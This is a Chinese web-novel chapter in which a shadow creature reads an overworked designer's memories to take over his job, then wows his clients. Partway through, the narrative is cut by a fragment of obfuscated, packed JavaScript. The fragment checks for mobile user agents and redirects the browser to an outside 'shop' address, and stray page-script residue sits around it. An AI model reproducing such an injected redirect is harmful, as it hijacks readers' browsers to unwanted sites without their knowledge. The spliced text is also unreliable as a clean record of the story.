比如现在,他知道自己要做的不仅是身体放松,更是放空大脑,不再紧绷着神经思考。 这对一个常年在高压和焦虑中加班的人来说有些难了,但细微的电流滑过全身时,一切又比想象中容易许多。 他也知道,当他向眼前的非人之物打开大脑的深处,被读取的会是最有用的记忆片段,关于他过去如何出外勤,如何跟进项目进度,如何在这个过程中与人打交道,应对种种情况。 人类的语言是苍白的。 说话时要用什么样的语气,什么样的表情,和谁交谈,不和谁交谈,回应哪句话,无视哪句话,何时沉默,何时主动挑起话题,微笑的幅度如何,走路的姿态如何,身体的重心在前还是在后,什么样的标准是完美,什么是模棱两可,如何提出问题和要求,如何让其他人配合,如何被听到,如何分辨谎言、敷衍、和真实…… 当记忆被再次翻开时,纷杂错乱的、难以被概括的一切如不成型的蛛网,在影先生的面前缓缓张开。 无形的触角轻轻伸出,第一视角的记忆画面夹杂着感官、听觉一起,瞬间变成上帝视角。 于是祂终于看到了属于【过去】的越时。 刚刚入职的越时,第一次出外勤,紧张,心跳微快,衣装整齐、一丝不苟,更年轻青涩的面容,还未生出黑眼圈的生命力如同春天的绿叶。 目光中的期盼被小心藏起来,说话时会专注看着他人的眼睛,思考时会低头,还未装点完成的房子中有杂乱的气味、到处堆叠的材料,越时成为其中最鲜活的色彩,被阳光从没有门窗的墙壁空洞上照过来,拉长影子。 图纸上的线条和色彩逐渐落在现实,越时与人交谈,确认线条是否一致,观察,问询,触摸,然后被突然闯入的流浪狗吓一跳。 记忆逐渐变得更清晰时,越时也回忆起了这一切,在脑海中低声点评, “这个时期我的表现你不要学,太不专业了,缺乏经验,一看就是刚工作的小年轻,容易被人觉得好糊弄……” 记忆流动着,越时一次又一次的工作,出外勤,随着影先生获取着他的一段又一段记忆,越时的声音也如同画外音碎碎念地吐槽起来。 “这个甲方最烦人,审美奇差还非要按照他说的改,改完了施工了,又怪我们做得丑,要求改回去。” “这个甲方最可恶,钱少事多……如果能穿越到过去,我当时就给这个邪恶秃头一巴掌!” “啊这个甲方很好,但是他不给结尾款……” “……” 记忆被一次次读取,越时也忍不住疯狂吐槽着遇到的一切糟心事。 可吐槽着吐槽着,记忆的画面却忽然停顿在了某个瞬间。 下午三点的阳光,盛夏的季节,越时结束了当天的外勤工作,站在即将完工的店铺门外,在等车时回头看了一眼。 便是这一瞬间,有风席卷着浓郁的花香吹拂而过,将花瓣吹落在越时的头顶、肩膀,阳光下的房檐闪闪发亮,落地窗的里面是漂亮而温馨的景色,就连路人都忍不住驻足观看。 越时记得这个项目,事少钱也少,但过程还算顺利,是一家个人创业的甜品店。 他不理解这一刻的记忆有什么特别的,值得影先生停下来仔细观看,却忽然听到了影先生的低语声。 “什么?” 他没有听清。 于是影先生用更好理解的话语,直接在他的脑内重复。 “那时的天气很好,房子也很好,” 记忆的画面在眼前放大,最后定格在越时回首时的模样,漠然的神情,平直的嘴角,好像一眼望去的不是自己完工的项目,而是一眼扫过毫无特别之处的墙壁。 影先生仔细观察着记忆中的他,语气中带着好奇与不解, “越时,为什么你没有笑?” 最初的越时是很爱笑的。 完成第一份项目时,看到自己亲手设计的图纸落地成为可以触摸的景色时,得到来自甲方的肯定时,都在记忆中留下过温热的痕迹。 尤其是在忽然看到美好的风景,在很好的天气中走过时,越时的眼睛会停留,会将笑容留给自己。 影先生对比着,总结着规律,做出基本的判断,以便在之后继续模仿越时的一言一行。 在这段记忆之前,他以为越时微笑的情况有几种,其中一种触发的条件,就是好天气+好景色,以及完成满意的工作后。 可眼前已经符合了越时会笑的前提条件,记忆中的他却只有疲惫,眼底与嘴角都平静无波。 半晌,越时忽然抬手,推开了面前的影先生, “你看得太多了。” “……?” “和工作无关的不用看,我独处的时候什么样子,也不用了解,反正……” 反正,影先生取代他之后,只要成为其他人眼中的‘越时’就够了。 越时看着沉默的人影,没什么表情的催促,“时间快不够了,赶紧去工作吧,别害得我扣钱。” 在他的催促下,影先生只好先行离开,以‘越时’的身份进入项目场地,开始今天的工作。 等到影先生背对着自己,已经按部就班地‘上岗’了,越时才松了一口气,坐在了外面的楼梯上休息。 总算能提前下班了。 ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496757|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也许是身体真的太过疲惫,越时本想随便坐坐,结果一不小心又睡了过去。 好在店铺是临街的,他一开始是坐在大门前的台阶上,后来躺在了旁边的人工草地上,也不算太糟糕。 最终是有脚步忽然靠近,他才忽然醒来。 越时先是看到了一双走近的鞋子,然后听到了一声询问。 “瓶子还要不要?” 越时下意识摇头,“不要了。” 他递出怀里已经喝空了的矿泉水瓶,看着拾荒的老人把瓶子捡走,丢进随身携带的大麻袋里,片刻,脑子才猛地回笼。 “你能看到我?!” 听到他一惊一乍的声音,老人的身形忽然僵硬了一下,然后便忽然加快脚步,迅速离开了。 越时低头,看向自己的影子。 不对劲! 他睡着没多久,自己的影子还是较为透明的状态,这意味着他在其他人眼里应该也是透明人才对,刚才那个老人,为什么能看到他? 越时连忙起身,甚至在路过其他行人时故意跳到别人面前大叫一声,确认了别人确实都看不到自己。 那个老人真的有问题!! 越时加快脚步小跑,朝着老人离开的方向追去,“等一下!!请您等一下!!!” 他跑了还没一百米,常年熬夜加班的身体就受不住了,忍不住扶着膝盖开始大喘气。 肺要炸了,腰也疼,膝盖也咔咔响……天啊他还不到三十!身体就要完蛋了吗?! 越时只好暂时放弃,带着满腹的疑问往回走。 难道刚才那个其实不是人类,而是怪物伪装的?就好像伪人一样?比如小红——也就是之前的小丑玩偶就能看到他。 可是……不像啊?那真的只是个普通的拾荒老人,而且会被他吓跑。 越时百思不得其解地往回走,实在想不通,只好先放下心中的疑问,回去等待影先生。 然而,刚走回到店门口,他就被看到的一切惊呆了。 房间里,那个朝着影先生一个劲儿赔笑点头,态度恭恭敬敬的是谁?还是他熟悉的那个甲方吗? 旁边给影先生递烟被拒,立刻惊慌收起来,不停道歉的是谁?合作方吗? 怎么还有人跑前跑后给端茶倒水? 越时揉揉眼睛,重新睁开,怀疑自己看到了真正的鬼。 哦不……影先生确实不是人来着…… 但人类变脸的速度和模样,确实比鬼更可怕。 直到影先生在人群的簇拥下离开,又坐上不知道谁安排的专车,越时才有时机僵硬而震惊地抓着他问, “你在里面都干了什么?他们都被你洗脑了吗?!” 影先生朝他转过头来,身后伸出无形的、只有越时能看到的触手,将人缠入怀中。 有硬硬的东西硌得慌,越时从影先生身上摸出来一看,竟然是个大红包。 与此同时,他听到了直接传音入脑的回答。 【人前显圣。】 越时:??? 见他震惊不信,影先生朝着他低头,额头贴上了额头,用充满蛊惑的声音低语。 【要亲自看看吗?】 【我的……记忆。】